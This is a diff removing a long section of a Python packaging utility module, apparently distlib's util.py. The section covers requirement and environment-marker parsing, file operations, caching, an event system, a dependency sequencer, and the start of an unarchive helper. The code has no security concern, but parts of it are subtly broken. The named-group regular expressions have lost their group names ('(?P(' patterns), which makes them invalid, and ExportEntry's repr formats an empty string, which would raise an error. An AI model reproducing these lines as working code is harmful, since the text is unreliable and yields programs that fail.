-    interpreted as a literal string, and a string not contained in quotes is a
-    variable (such as os_name).
-    """
-
-    def marker_var(remaining):
-        # either identifier, or literal string
-        m = IDENTIFIER.match(remaining)
-        if m:
-            result = m.groups()[0]
-            remaining = remaining[m.end():]
-        elif not remaining:
-            raise SyntaxError('unexpected end of input')
-        else:
-            q = remaining[0]
-            if q not in '\'"':
-                raise SyntaxError('invalid expression: %s' % remaining)
-            oq = '\'"'.replace(q, '')
-            remaining = remaining[1:]
-            parts = [q]
-            while remaining:
-                # either a string chunk, or oq, or q to terminate
-                if remaining[0] == q:
-                    break
-                elif remaining[0] == oq:
-                    parts.append(oq)
-                    remaining = remaining[1:]
-                else:
-                    m = STRING_CHUNK.match(remaining)
-                    if not m:
-                        raise SyntaxError('error in string literal: %s' % remaining)
-                    parts.append(m.groups()[0])
-                    remaining = remaining[m.end():]
-            else:
-                s = ''.join(parts)
-                raise SyntaxError('unterminated string: %s' % s)
-            parts.append(q)
-            result = ''.join(parts)
-            remaining = remaining[1:].lstrip()  # skip past closing quote
-        return result, remaining
-
-    def marker_expr(remaining):
-        if remaining and remaining[0] == '(':
-            result, remaining = marker(remaining[1:].lstrip())
-            if remaining[0] != ')':
-                raise SyntaxError('unterminated parenthesis: %s' % remaining)
-            remaining = remaining[1:].lstrip()
-        else:
-            lhs, remaining = marker_var(remaining)
-            while remaining:
-                m = MARKER_OP.match(remaining)
-                if not m:
-                    break
-                op = m.groups()[0]
-                remaining = remaining[m.end():]
-                rhs, remaining = marker_var(remaining)
-                lhs = {'op': op, 'lhs': lhs, 'rhs': rhs}
-            result = lhs
-        return result, remaining
-
-    def marker_and(remaining):
-        lhs, remaining = marker_expr(remaining)
-        while remaining:
-            m = AND.match(remaining)
-            if not m:
-                break
-            remaining = remaining[m.end():]
-            rhs, remaining = marker_expr(remaining)
-            lhs = {'op': 'and', 'lhs': lhs, 'rhs': rhs}
-        return lhs, remaining
-
-    def marker(remaining):
-        lhs, remaining = marker_and(remaining)
-        while remaining:
-            m = OR.match(remaining)
-            if not m:
-                break
-            remaining = remaining[m.end():]
-            rhs, remaining = marker_and(remaining)
-            lhs = {'op': 'or', 'lhs': lhs, 'rhs': rhs}
-        return lhs, remaining
-
-    return marker(marker_string)
-
-
-def parse_requirement(req):
-    """
-    Parse a requirement passed in as a string. Return a Container
-    whose attributes contain the various parts of the requirement.
-    """
-    remaining = req.strip()
-    if not remaining or remaining.startswith('#'):
-        return None
-    m = IDENTIFIER.match(remaining)
-    if not m:
-        raise SyntaxError('name expected: %s' % remaining)
-    distname = m.groups()[0]
-    remaining = remaining[m.end():]
-    extras = mark_expr = versions = uri = None
-    if remaining and remaining[0] == '[':
-        i = remaining.find(']', 1)
-        if i < 0:
-            raise SyntaxError('unterminated extra: %s' % remaining)
-        s = remaining[1:i]
-        remaining = remaining[i + 1:].lstrip()
-        extras = []
-        while s:
-            m = IDENTIFIER.match(s)
-            if not m:
-                raise SyntaxError('malformed extra: %s' % s)
-            extras.append(m.groups()[0])
-            s = s[m.end():]
-            if not s:
-                break
-            if s[0] != ',':
-                raise SyntaxError('comma expected in extras: %s' % s)
-            s = s[1:].lstrip()
-        if not extras:
-            extras = None
-    if remaining:
-        if remaining[0] == '@':
-            # it's a URI
-            remaining = remaining[1:].lstrip()
-            m = NON_SPACE.match(remaining)
-            if not m:
-                raise SyntaxError('invalid URI: %s' % remaining)
-            uri = m.groups()[0]
-            t = urlparse(uri)
-            # there are issues with Python and URL parsing, so this test
-            # is a bit crude. See bpo-20271, bpo-23505. Python doesn't
-            # always parse invalid URLs correctly - it should raise
-            # exceptions for malformed URLs
-            if not (t.scheme and t.netloc):
-                raise SyntaxError('Invalid URL: %s' % uri)
-            remaining = remaining[m.end():].lstrip()
-        else:
-
-            def get_versions(ver_remaining):
-                """
-                Return a list of operator, version tuples if any are
-                specified, else None.
-                """
-                m = COMPARE_OP.match(ver_remaining)
-                versions = None
-                if m:
-                    versions = []
-                    while True:
-                        op = m.groups()[0]
-                        ver_remaining = ver_remaining[m.end():]
-                        m = VERSION_IDENTIFIER.match(ver_remaining)
-                        if not m:
-                            raise SyntaxError('invalid version: %s' % ver_remaining)
-                        v = m.groups()[0]
-                        versions.append((op, v))
-                        ver_remaining = ver_remaining[m.end():]
-                        if not ver_remaining or ver_remaining[0] != ',':
-                            break
-                        ver_remaining = ver_remaining[1:].lstrip()
-                        # Some packages have a trailing comma which would break things
-                        # See issue #148
-                        if not ver_remaining:
-                            break
-                        m = COMPARE_OP.match(ver_remaining)
-                        if not m:
-                            raise SyntaxError('invalid constraint: %s' % ver_remaining)
-                    if not versions:
-                        versions = None
-                return versions, ver_remaining
-
-            if remaining[0] != '(':
-                versions, remaining = get_versions(remaining)
-            else:
-                i = remaining.find(')', 1)
-                if i < 0:
-                    raise SyntaxError('unterminated parenthesis: %s' % remaining)
-                s = remaining[1:i]
-                remaining = remaining[i + 1:].lstrip()
-                # As a special diversion from PEP 508, allow a version number
-                # a.b.c in parentheses as a synonym for ~= a.b.c (because this
-                # is allowed in earlier PEPs)
-                if COMPARE_OP.match(s):
-                    versions, _ = get_versions(s)
-                else:
-                    m = VERSION_IDENTIFIER.match(s)
-                    if not m:
-                        raise SyntaxError('invalid constraint: %s' % s)
-                    v = m.groups()[0]
-                    s = s[m.end():].lstrip()
-                    if s:
-                        raise SyntaxError('invalid constraint: %s' % s)
-                    versions = [('~=', v)]
-
-    if remaining:
-        if remaining[0] != ';':
-            raise SyntaxError('invalid requirement: %s' % remaining)
-        remaining = remaining[1:].lstrip()
-
-        mark_expr, remaining = parse_marker(remaining)
-
-    if remaining and remaining[0] != '#':
-        raise SyntaxError('unexpected trailing data: %s' % remaining)
-
-    if not versions:
-        rs = distname
-    else:
-        rs = '%s %s' % (distname, ', '.join(['%s %s' % con for con in versions]))
-    return Container(name=distname, extras=extras, constraints=versions, marker=mark_expr, url=uri, requirement=rs)
-
-
-def get_resources_dests(resources_root, rules):
-    """Find destinations for resources files"""
-
-    def get_rel_path(root, path):
-        # normalizes and returns a lstripped-/-separated path
-        root = root.replace(os.path.sep, '/')
-        path = path.replace(os.path.sep, '/')
-        assert path.startswith(root)
-        return path[len(root):].lstrip('/')
-
-    destinations = {}
-    for base, suffix, dest in rules:
-        prefix = os.path.join(resources_root, base)
-        for abs_base in iglob(prefix):
-            abs_glob = os.path.join(abs_base, suffix)
-            for abs_path in iglob(abs_glob):
-                resource_file = get_rel_path(resources_root, abs_path)
-                if dest is None:  # remove the entry if it was here
-                    destinations.pop(resource_file, None)
-                else:
-                    rel_path = get_rel_path(abs_base, abs_path)
-                    rel_dest = dest.replace(os.path.sep, '/').rstrip('/')
-                    destinations[resource_file] = rel_dest + '/' + rel_path
-    return destinations
-
-
-def in_venv():
-    if hasattr(sys, 'real_prefix'):
-        # virtualenv venvs
-        result = True
-    else:
-        # PEP 405 venvs
-        result = sys.prefix != getattr(sys, 'base_prefix', sys.prefix)
-    return result
-
-
-def get_executable():
-    # The __PYVENV_LAUNCHER__ dance is apparently no longer needed, as
-    # changes to the stub launcher mean that sys.executable always points
-    # to the stub on OS X
-    #    if sys.platform == 'darwin' and ('__PYVENV_LAUNCHER__'
-    #                                     in os.environ):
-    #        result =  os.environ['__PYVENV_LAUNCHER__']
-    #    else:
-    #        result = sys.executable
-    #    return result
-    # Avoid normcasing: see issue #143
-    # result = os.path.normcase(sys.executable)
-    result = sys.executable
-    if not isinstance(result, text_type):
-        result = fsdecode(result)
-    return result
-
-
-def proceed(prompt, allowed_chars, error_prompt=None, default=None):
-    p = prompt
-    while True:
-        s = raw_input(p)
-        p = prompt
-        if not s and default:
-            s = default
-        if s:
-            c = s[0].lower()
-            if c in allowed_chars:
-                break
-            if error_prompt:
-                p = '%c: %s\n%s' % (c, error_prompt, prompt)
-    return c
-
-
-def extract_by_key(d, keys):
-    if isinstance(keys, string_types):
-        keys = keys.split()
-    result = {}
-    for key in keys:
-        if key in d:
-            result[key] = d[key]
-    return result
-
-
-def read_exports(stream):
-    if sys.version_info[0] >= 3:
-        # needs to be a text stream
-        stream = codecs.getreader('utf-8')(stream)
-    # Try to load as JSON, falling back on legacy format
-    data = stream.read()
-    stream = StringIO(data)
-    try:
-        jdata = json.load(stream)
-        result = jdata['extensions']['python.exports']['exports']
-        for group, entries in result.items():
-            for k, v in entries.items():
-                s = '%s = %s' % (k, v)
-                entry = get_export_entry(s)
-                assert entry is not None
-                entries[k] = entry
-        return result
-    except Exception:
-        stream.seek(0, 0)
-
-    def read_stream(cp, stream):
-        if hasattr(cp, 'read_file'):
-            cp.read_file(stream)
-        else:
-            cp.readfp(stream)
-
-    cp = configparser.ConfigParser()
-    try:
-        read_stream(cp, stream)
-    except configparser.MissingSectionHeaderError:
-        stream.close()
-        data = textwrap.dedent(data)
-        stream = StringIO(data)
-        read_stream(cp, stream)
-
-    result = {}
-    for key in cp.sections():
-        result[key] = entries = {}
-        for name, value in cp.items(key):
-            s = '%s = %s' % (name, value)
-            entry = get_export_entry(s)
-            assert entry is not None
-            # entry.dist = self
-            entries[name] = entry
-    return result
-
-
-def write_exports(exports, stream):
-    if sys.version_info[0] >= 3:
-        # needs to be a text stream
-        stream = codecs.getwriter('utf-8')(stream)
-    cp = configparser.ConfigParser()
-    for k, v in exports.items():
-        # TODO check k, v for valid values
-        cp.add_section(k)
-        for entry in v.values():
-            if entry.suffix is None:
-                s = entry.prefix
-            else:
-                s = '%s:%s' % (entry.prefix, entry.suffix)
-            if entry.flags:
-                s = '%s [%s]' % (s, ', '.join(entry.flags))
-            cp.set(k, entry.name, s)
-    cp.write(stream)
-
-
-@contextlib.contextmanager
-def tempdir():
-    td = tempfile.mkdtemp()
-    try:
-        yield td
-    finally:
-        shutil.rmtree(td)
-
-
-@contextlib.contextmanager
-def chdir(d):
-    cwd = os.getcwd()
-    try:
-        os.chdir(d)
-        yield
-    finally:
-        os.chdir(cwd)
-
-
-@contextlib.contextmanager
-def socket_timeout(seconds=15):
-    cto = socket.getdefaulttimeout()
-    try:
-        socket.setdefaulttimeout(seconds)
-        yield
-    finally:
-        socket.setdefaulttimeout(cto)
-
-
-class cached_property(object):
-
-    def __init__(self, func):
-        self.func = func
-        # for attr in ('__name__', '__module__', '__doc__'):
-        #     setattr(self, attr, getattr(func, attr, None))
-
-    def __get__(self, obj, cls=None):
-        if obj is None:
-            return self
-        value = self.func(obj)
-        object.__setattr__(obj, self.func.__name__, value)
-        # obj.__dict__[self.func.__name__] = value = self.func(obj)
-        return value
-
-
-def convert_path(pathname):
-    """Return 'pathname' as a name that will work on the native filesystem.
-
-    The path is split on '/' and put back together again using the current
-    directory separator.  Needed because filenames in the setup script are
-    always supplied in Unix style, and have to be converted to the local
-    convention before we can actually use them in the filesystem.  Raises
-    ValueError on non-Unix-ish systems if 'pathname' either starts or
-    ends with a slash.
-    """
-    if os.sep == '/':
-        return pathname
-    if not pathname:
-        return pathname
-    if pathname[0] == '/':
-        raise ValueError("path '%s' cannot be absolute" % pathname)
-    if pathname[-1] == '/':
-        raise ValueError("path '%s' cannot end with '/'" % pathname)
-
-    paths = pathname.split('/')
-    while os.curdir in paths:
-        paths.remove(os.curdir)
-    if not paths:
-        return os.curdir
-    return os.path.join(*paths)
-
-
-class FileOperator(object):
-
-    def __init__(self, dry_run=False):
-        self.dry_run = dry_run
-        self.ensured = set()
-        self._init_record()
-
-    def _init_record(self):
-        self.record = False
-        self.files_written = set()
-        self.dirs_created = set()
-
-    def record_as_written(self, path):
-        if self.record:
-            self.files_written.add(path)
-
-    def newer(self, source, target):
-        """Tell if the target is newer than the source.
-
-        Returns true if 'source' exists and is more recently modified than
-        'target', or if 'source' exists and 'target' doesn't.
-
-        Returns false if both exist and 'target' is the same age or younger
-        than 'source'. Raise PackagingFileError if 'source' does not exist.
-
-        Note that this test is not very accurate: files created in the same
-        second will have the same "age".
-        """
-        if not os.path.exists(source):
-            raise DistlibException("file '%r' does not exist" % os.path.abspath(source))
-        if not os.path.exists(target):
-            return True
-
-        return os.stat(source).st_mtime > os.stat(target).st_mtime
-
-    def copy_file(self, infile, outfile, check=True):
-        """Copy a file respecting dry-run and force flags.
-        """
-        self.ensure_dir(os.path.dirname(outfile))
-        logger.info('Copying %s to %s', infile, outfile)
-        if not self.dry_run:
-            msg = None
-            if check:
-                if os.path.islink(outfile):
-                    msg = '%s is a symlink' % outfile
-                elif os.path.exists(outfile) and not os.path.isfile(outfile):
-                    msg = '%s is a non-regular file' % outfile
-            if msg:
-                raise ValueError(msg + ' which would be overwritten')
-            shutil.copyfile(infile, outfile)
-        self.record_as_written(outfile)
-
-    def copy_stream(self, instream, outfile, encoding=None):
-        assert not os.path.isdir(outfile)
-        self.ensure_dir(os.path.dirname(outfile))
-        logger.info('Copying stream %s to %s', instream, outfile)
-        if not self.dry_run:
-            if encoding is None:
-                outstream = open(outfile, 'wb')
-            else:
-                outstream = codecs.open(outfile, 'w', encoding=encoding)
-            try:
-                shutil.copyfileobj(instream, outstream)
-            finally:
-                outstream.close()
-        self.record_as_written(outfile)
-
-    def write_binary_file(self, path, data):
-        self.ensure_dir(os.path.dirname(path))
-        if not self.dry_run:
-            if os.path.exists(path):
-                os.remove(path)
-            with open(path, 'wb') as f:
-                f.write(data)
-        self.record_as_written(path)
-
-    def write_text_file(self, path, data, encoding):
-        self.write_binary_file(path, data.encode(encoding))
-
-    def set_mode(self, bits, mask, files):
-        if os.name == 'posix' or (os.name == 'java' and os._name == 'posix'):
-            # Set the executable bits (owner, group, and world) on
-            # all the files specified.
-            for f in files:
-                if self.dry_run:
-                    logger.info("changing mode of %s", f)
-                else:
-                    mode = (os.stat(f).st_mode | bits) & mask
-                    logger.info("changing mode of %s to %o", f, mode)
-                    os.chmod(f, mode)
-
-    set_executable_mode = lambda s, f: s.set_mode(0o555, 0o7777, f)
-
-    def ensure_dir(self, path):
-        path = os.path.abspath(path)
-        if path not in self.ensured and not os.path.exists(path):
-            self.ensured.add(path)
-            d, f = os.path.split(path)
-            self.ensure_dir(d)
-            logger.info('Creating %s' % path)
-            if not self.dry_run:
-                os.mkdir(path)
-            if self.record:
-                self.dirs_created.add(path)
-
-    def byte_compile(self, path, optimize=False, force=False, prefix=None, hashed_invalidation=False):
-        if not optimize:
-            optimization = ''
-        else:
-            optimization = '1'
-        dpath = cache_from_source(path, optimization=optimization)
-        logger.info('Byte-compiling %s to %s', path, dpath)
-        if not self.dry_run:
-            if force or self.newer(path, dpath):
-                if not prefix:
-                    diagpath = None
-                else:
-                    assert path.startswith(prefix)
-                    diagpath = path[len(prefix):]
-            compile_kwargs = {}
-            if hashed_invalidation and hasattr(py_compile, 'PycInvalidationMode'):
-                if not isinstance(hashed_invalidation, py_compile.PycInvalidationMode):
-                    hashed_invalidation = py_compile.PycInvalidationMode.CHECKED_HASH
-                compile_kwargs['invalidation_mode'] = hashed_invalidation
-            py_compile.compile(path, dpath, diagpath, True, **compile_kwargs)  # raise error
-        self.record_as_written(dpath)
-        return dpath
-
-    def ensure_removed(self, path):
-        if os.path.exists(path):
-            if os.path.isdir(path) and not os.path.islink(path):
-                logger.debug('Removing directory tree at %s', path)
-                if not self.dry_run:
-                    shutil.rmtree(path)
-                if self.record:
-                    if path in self.dirs_created:
-                        self.dirs_created.remove(path)
-            else:
-                if os.path.islink(path):
-                    s = 'link'
-                else:
-                    s = 'file'
-                logger.debug('Removing %s %s', s, path)
-                if not self.dry_run:
-                    os.remove(path)
-                if self.record:
-                    if path in self.files_written:
-                        self.files_written.remove(path)
-
-    def is_writable(self, path):
-        result = False
-        while not result:
-            if os.path.exists(path):
-                result = os.access(path, os.W_OK)
-                break
-            parent = os.path.dirname(path)
-            if parent == path:
-                break
-            path = parent
-        return result
-
-    def commit(self):
-        """
-        Commit recorded changes, turn off recording, return
-        changes.
-        """
-        assert self.record
-        result = self.files_written, self.dirs_created
-        self._init_record()
-        return result
-
-    def rollback(self):
-        if not self.dry_run:
-            for f in list(self.files_written):
-                if os.path.exists(f):
-                    os.remove(f)
-            # dirs should all be empty now, except perhaps for
-            # __pycache__ subdirs
-            # reverse so that subdirs appear before their parents
-            dirs = sorted(self.dirs_created, reverse=True)
-            for d in dirs:
-                flist = os.listdir(d)
-                if flist:
-                    assert flist == ['__pycache__']
-                    sd = os.path.join(d, flist[0])
-                    os.rmdir(sd)
-                os.rmdir(d)  # should fail if non-empty
-        self._init_record()
-
-
-def resolve(module_name, dotted_path):
-    if module_name in sys.modules:
-        mod = sys.modules[module_name]
-    else:
-        mod = __import__(module_name)
-    if dotted_path is None:
-        result = mod
-    else:
-        parts = dotted_path.split('.')
-        result = getattr(mod, parts.pop(0))
-        for p in parts:
-            result = getattr(result, p)
-    return result
-
-
-class ExportEntry(object):
-
-    def __init__(self, name, prefix, suffix, flags):
-        self.name = name
-        self.prefix = prefix
-        self.suffix = suffix
-        self.flags = flags
-
-    @cached_property
-    def value(self):
-        return resolve(self.prefix, self.suffix)
-
-    def __repr__(self):  # pragma: no cover
-        return '' % (self.name, self.prefix, self.suffix, self.flags)
-
-    def __eq__(self, other):
-        if not isinstance(other, ExportEntry):
-            result = False
-        else:
-            result = (self.name == other.name and self.prefix == other.prefix and self.suffix == other.suffix
-                      and self.flags == other.flags)
-        return result
-
-    __hash__ = object.__hash__
-
-
-ENTRY_RE = re.compile(
-    r'''(?P([^\[]\S*))
-                      \s*=\s*(?P(\w+)([:\.]\w+)*)
-                      \s*(\[\s*(?P[\w-]+(=\w+)?(,\s*\w+(=\w+)?)*)\s*\])?
-                      ''', re.VERBOSE)
-
-
-def get_export_entry(specification):
-    m = ENTRY_RE.search(specification)
-    if not m:
-        result = None
-        if '[' in specification or ']' in specification:
-            raise DistlibException("Invalid specification "
-                                   "'%s'" % specification)
-    else:
-        d = m.groupdict()
-        name = d['name']
-        path = d['callable']
-        colons = path.count(':')
-        if colons == 0:
-            prefix, suffix = path, None
-        else:
-            if colons != 1:
-                raise DistlibException("Invalid specification "
-                                       "'%s'" % specification)
-            prefix, suffix = path.split(':')
-        flags = d['flags']
-        if flags is None:
-            if '[' in specification or ']' in specification:
-                raise DistlibException("Invalid specification "
-                                       "'%s'" % specification)
-            flags = []
-        else:
-            flags = [f.strip() for f in flags.split(',')]
-        result = ExportEntry(name, prefix, suffix, flags)
-    return result
-
-
-def get_cache_base(suffix=None):
-    """
-    Return the default base location for distlib caches. If the directory does
-    not exist, it is created. Use the suffix provided for the base directory,
-    and default to '.distlib' if it isn't provided.
-
-    On Windows, if LOCALAPPDATA is defined in the environment, then it is
-    assumed to be a directory, and will be the parent directory of the result.
-    On POSIX, and on Windows if LOCALAPPDATA is not defined, the user's home
-    directory - using os.expanduser('~') - will be the parent directory of
-    the result.
-
-    The result is just the directory '.distlib' in the parent directory as
-    determined above, or with the name specified with ``suffix``.
-    """
-    if suffix is None:
-        suffix = '.distlib'
-    if os.name == 'nt' and 'LOCALAPPDATA' in os.environ:
-        result = os.path.expandvars('$localappdata')
-    else:
-        # Assume posix, or old Windows
-        result = os.path.expanduser('~')
-    # we use 'isdir' instead of 'exists', because we want to
-    # fail if there's a file with that name
-    if os.path.isdir(result):
-        usable = os.access(result, os.W_OK)
-        if not usable:
-            logger.warning('Directory exists but is not writable: %s', result)
-    else:
-        try:
-            os.makedirs(result)
-            usable = True
-        except OSError:
-            logger.warning('Unable to create %s', result, exc_info=True)
-            usable = False
-    if not usable:
-        result = tempfile.mkdtemp()
-        logger.warning('Default location unusable, using %s', result)
-    return os.path.join(result, suffix)
-
-
-def path_to_cache_dir(path, use_abspath=True):
-    """
-    Convert an absolute path to a directory name for use in a cache.
-
-    The algorithm used is:
-
-    #. On Windows, any ``':'`` in the drive is replaced with ``'---'``.
-    #. Any occurrence of ``os.sep`` is replaced with ``'--'``.
-    #. ``'.cache'`` is appended.
-    """
-    d, p = os.path.splitdrive(os.path.abspath(path) if use_abspath else path)
-    if d:
-        d = d.replace(':', '---')
-    p = p.replace(os.sep, '--')
-    return d + p + '.cache'
-
-
-def ensure_slash(s):
-    if not s.endswith('/'):
-        return s + '/'
-    return s
-
-
-def parse_credentials(netloc):
-    username = password = None
-    if '@' in netloc:
-        prefix, netloc = netloc.rsplit('@', 1)
-        if ':' not in prefix:
-            username = prefix
-        else:
-            username, password = prefix.split(':', 1)
-    if username:
-        username = unquote(username)
-    if password:
-        password = unquote(password)
-    return username, password, netloc
-
-
-def get_process_umask():
-    result = os.umask(0o22)
-    os.umask(result)
-    return result
-
-
-def is_string_sequence(seq):
-    result = True
-    i = None
-    for i, s in enumerate(seq):
-        if not isinstance(s, string_types):
-            result = False
-            break
-    assert i is not None
-    return result
-
-
-PROJECT_NAME_AND_VERSION = re.compile('([a-z0-9_]+([.-][a-z_][a-z0-9_]*)*)-'
-                                      '([a-z0-9_.+-]+)', re.I)
-PYTHON_VERSION = re.compile(r'-py(\d\.?\d?)')
-
-
-def split_filename(filename, project_name=None):
-    """
-    Extract name, version, python version from a filename (no extension)
-
-    Return name, version, pyver or None
-    """
-    result = None
-    pyver = None
-    filename = unquote(filename).replace(' ', '-')
-    m = PYTHON_VERSION.search(filename)
-    if m:
-        pyver = m.group(1)
-        filename = filename[:m.start()]
-    if project_name and len(filename) > len(project_name) + 1:
-        m = re.match(re.escape(project_name) + r'\b', filename)
-        if m:
-            n = m.end()
-            result = filename[:n], filename[n + 1:], pyver
-    if result is None:
-        m = PROJECT_NAME_AND_VERSION.match(filename)
-        if m:
-            result = m.group(1), m.group(3), pyver
-    return result
-
-
-# Allow spaces in name because of legacy dists like "Twisted Core"
-NAME_VERSION_RE = re.compile(r'(?P[\w .-]+)\s*'
-                             r'\(\s*(?P[^\s)]+)\)$')
-
-
-def parse_name_and_version(p):
-    """
-    A utility method used to get name and version from a string.
-
-    From e.g. a Provides-Dist value.
-
-    :param p: A value in a form 'foo (1.0)'
-    :return: The name and version as a tuple.
-    """
-    m = NAME_VERSION_RE.match(p)
-    if not m:
-        raise DistlibException('Ill-formed name/version string: \'%s\'' % p)
-    d = m.groupdict()
-    return d['name'].strip().lower(), d['ver']
-
-
-def get_extras(requested, available):
-    result = set()
-    requested = set(requested or [])
-    available = set(available or [])
-    if '*' in requested:
-        requested.remove('*')
-        result |= available
-    for r in requested:
-        if r == '-':
-            result.add(r)
-        elif r.startswith('-'):
-            unwanted = r[1:]
-            if unwanted not in available:
-                logger.warning('undeclared extra: %s' % unwanted)
-            if unwanted in result:
-                result.remove(unwanted)
-        else:
-            if r not in available:
-                logger.warning('undeclared extra: %s' % r)
-            result.add(r)
-    return result
-
-
-#
-# Extended metadata functionality
-#
-
-
-def _get_external_data(url):
-    result = {}
-    try:
-        # urlopen might fail if it runs into redirections,
-        # because of Python issue #13696. Fixed in locators
-        # using a custom redirect handler.
-        resp = urlopen(url)
-        headers = resp.info()
-        ct = headers.get('Content-Type')
-        if not ct.startswith('application/json'):
-            logger.debug('Unexpected response for JSON request: %s', ct)
-        else:
-            reader = codecs.getreader('utf-8')(resp)
-            # data = reader.read().decode('utf-8')
-            # result = json.loads(data)
-            result = json.load(reader)
-    except Exception as e:
-        logger.exception('Failed to get external data for %s: %s', url, e)
-    return result
-
-
-_external_data_base_url = 'https://www.red-dove.com/pypi/projects/'
-
-
-def get_project_data(name):
-    url = '%s/%s/project.json' % (name[0].upper(), name)
-    url = urljoin(_external_data_base_url, url)
-    result = _get_external_data(url)
-    return result
-
-
-def get_package_data(name, version):
-    url = '%s/%s/package-%s.json' % (name[0].upper(), name, version)
-    url = urljoin(_external_data_base_url, url)
-    return _get_external_data(url)
-
-
-class Cache(object):
-    """
-    A class implementing a cache for resources that need to live in the file system
-    e.g. shared libraries. This class was moved from resources to here because it
-    could be used by other modules, e.g. the wheel module.
-    """
-
-    def __init__(self, base):
-        """
-        Initialise an instance.
-
-        :param base: The base directory where the cache should be located.
-        """
-        # we use 'isdir' instead of 'exists', because we want to
-        # fail if there's a file with that name
-        if not os.path.isdir(base):  # pragma: no cover
-            os.makedirs(base)
-        if (os.stat(base).st_mode & 0o77) != 0:
-            logger.warning('Directory \'%s\' is not private', base)
-        self.base = os.path.abspath(os.path.normpath(base))
-
-    def prefix_to_dir(self, prefix, use_abspath=True):
-        """
-        Converts a resource prefix to a directory name in the cache.
-        """
-        return path_to_cache_dir(prefix, use_abspath=use_abspath)
-
-    def clear(self):
-        """
-        Clear the cache.
-        """
-        not_removed = []
-        for fn in os.listdir(self.base):
-            fn = os.path.join(self.base, fn)
-            try:
-                if os.path.islink(fn) or os.path.isfile(fn):
-                    os.remove(fn)
-                elif os.path.isdir(fn):
-                    shutil.rmtree(fn)
-            except Exception:
-                not_removed.append(fn)
-        return not_removed
-
-
-class EventMixin(object):
-    """
-    A very simple publish/subscribe system.
-    """
-
-    def __init__(self):
-        self._subscribers = {}
-
-    def add(self, event, subscriber, append=True):
-        """
-        Add a subscriber for an event.
-
-        :param event: The name of an event.
-        :param subscriber: The subscriber to be added (and called when the
-                           event is published).
-        :param append: Whether to append or prepend the subscriber to an
-                       existing subscriber list for the event.
-        """
-        subs = self._subscribers
-        if event not in subs:
-            subs[event] = deque([subscriber])
-        else:
-            sq = subs[event]
-            if append:
-                sq.append(subscriber)
-            else:
-                sq.appendleft(subscriber)
-
-    def remove(self, event, subscriber):
-        """
-        Remove a subscriber for an event.
-
-        :param event: The name of an event.
-        :param subscriber: The subscriber to be removed.
-        """
-        subs = self._subscribers
-        if event not in subs:
-            raise ValueError('No subscribers: %r' % event)
-        subs[event].remove(subscriber)
-
-    def get_subscribers(self, event):
-        """
-        Return an iterator for the subscribers for an event.
-        :param event: The event to return subscribers for.
-        """
-        return iter(self._subscribers.get(event, ()))
-
-    def publish(self, event, *args, **kwargs):
-        """
-        Publish a event and return a list of values returned by its
-        subscribers.
-
-        :param event: The event to publish.
-        :param args: The positional arguments to pass to the event's
-                     subscribers.
-        :param kwargs: The keyword arguments to pass to the event's
-                       subscribers.
-        """
-        result = []
-        for subscriber in self.get_subscribers(event):
-            try:
-                value = subscriber(event, *args, **kwargs)
-            except Exception:
-                logger.exception('Exception during event publication')
-                value = None
-            result.append(value)
-        logger.debug('publish %s: args = %s, kwargs = %s, result = %s', event, args, kwargs, result)
-        return result
-
-
-#
-# Simple sequencing
-#
-class Sequencer(object):
-
-    def __init__(self):
-        self._preds = {}
-        self._succs = {}
-        self._nodes = set()  # nodes with no preds/succs
-
-    def add_node(self, node):
-        self._nodes.add(node)
-
-    def remove_node(self, node, edges=False):
-        if node in self._nodes:
-            self._nodes.remove(node)
-        if edges:
-            for p in set(self._preds.get(node, ())):
-                self.remove(p, node)
-            for s in set(self._succs.get(node, ())):
-                self.remove(node, s)
-            # Remove empties
-            for k, v in list(self._preds.items()):
-                if not v:
-                    del self._preds[k]
-            for k, v in list(self._succs.items()):
-                if not v:
-                    del self._succs[k]
-
-    def add(self, pred, succ):
-        assert pred != succ
-        self._preds.setdefault(succ, set()).add(pred)
-        self._succs.setdefault(pred, set()).add(succ)
-
-    def remove(self, pred, succ):
-        assert pred != succ
-        try:
-            preds = self._preds[succ]
-            succs = self._succs[pred]
-        except KeyError:  # pragma: no cover
-            raise ValueError('%r not a successor of anything' % succ)
-        try:
-            preds.remove(pred)
-            succs.remove(succ)
-        except KeyError:  # pragma: no cover
-            raise ValueError('%r not a successor of %r' % (succ, pred))
-
-    def is_step(self, step):
-        return (step in self._preds or step in self._succs or step in self._nodes)
-
-    def get_steps(self, final):
-        if not self.is_step(final):
-            raise ValueError('Unknown: %r' % final)
-        result = []
-        todo = []
-        seen = set()
-        todo.append(final)
-        while todo:
-            step = todo.pop(0)
-            if step in seen:
-                # if a step was already seen,
-                # move it to the end (so it will appear earlier
-                # when reversed on return) ... but not for the
-                # final step, as that would be confusing for
-                # users
-                if step != final:
-                    result.remove(step)
-                    result.append(step)
-            else:
-                seen.add(step)
-                result.append(step)
-                preds = self._preds.get(step, ())
-                todo.extend(preds)
-        return reversed(result)
-
-    @property
-    def strong_connections(self):
-        # http://en.wikipedia.org/wiki/Tarjan%27s_strongly_connected_components_algorithm
-        index_counter = [0]
-        stack = []
-        lowlinks = {}
-        index = {}
-        result = []
-
-        graph = self._succs
-
-        def strongconnect(node):
-            # set the depth index for this node to the smallest unused index
-            index[node] = index_counter[0]
-            lowlinks[node] = index_counter[0]
-            index_counter[0] += 1
-            stack.append(node)
-
-            # Consider successors
-            try:
-                successors = graph[node]
-            except Exception:
-                successors = []
-            for successor in successors:
-                if successor not in lowlinks:
-                    # Successor has not yet been visited
-                    strongconnect(successor)
-                    lowlinks[node] = min(lowlinks[node], lowlinks[successor])
-                elif successor in stack:
-                    # the successor is in the stack and hence in the current
-                    # strongly connected component (SCC)
-                    lowlinks[node] = min(lowlinks[node], index[successor])
-
-            # If `node` is a root node, pop the stack and generate an SCC
-            if lowlinks[node] == index[node]:
-                connected_component = []
-
-                while True:
-                    successor = stack.pop()
-                    connected_component.append(successor)
-                    if successor == node:
-                        break
-                component = tuple(connected_component)
-                # storing the result
-                result.append(component)
-
-        for node in graph:
-            if node not in lowlinks:
-                strongconnect(node)
-
-        return result
-
-    @property
-    def dot(self):
-        result = ['digraph G {']
-        for succ in self._preds:
-            preds = self._preds[succ]
-            for pred in preds:
-                result.append('  %s -> %s;' % (pred, succ))
-        for node in self._nodes:
-            result.append('  %s;' % node)
-        result.append('}')
-        return '\n'.join(result)
-
-
-#
-# Unarchiving functionality for zip, tar, tgz, tbz, whl
-#
-
-ARCHIVE_EXTENSIONS = ('.tar.gz', '.tar.bz2', '.tar', '.zip', '.tgz', '.tbz', '.whl')
-
-
-def unarchive(archive_filename, dest_dir, format=None, check=True):
-
-    def check_path(path, base=None):
-        if not isinstance(path, text_type):
-            path = path.decode('utf-8')
-        if base is None:
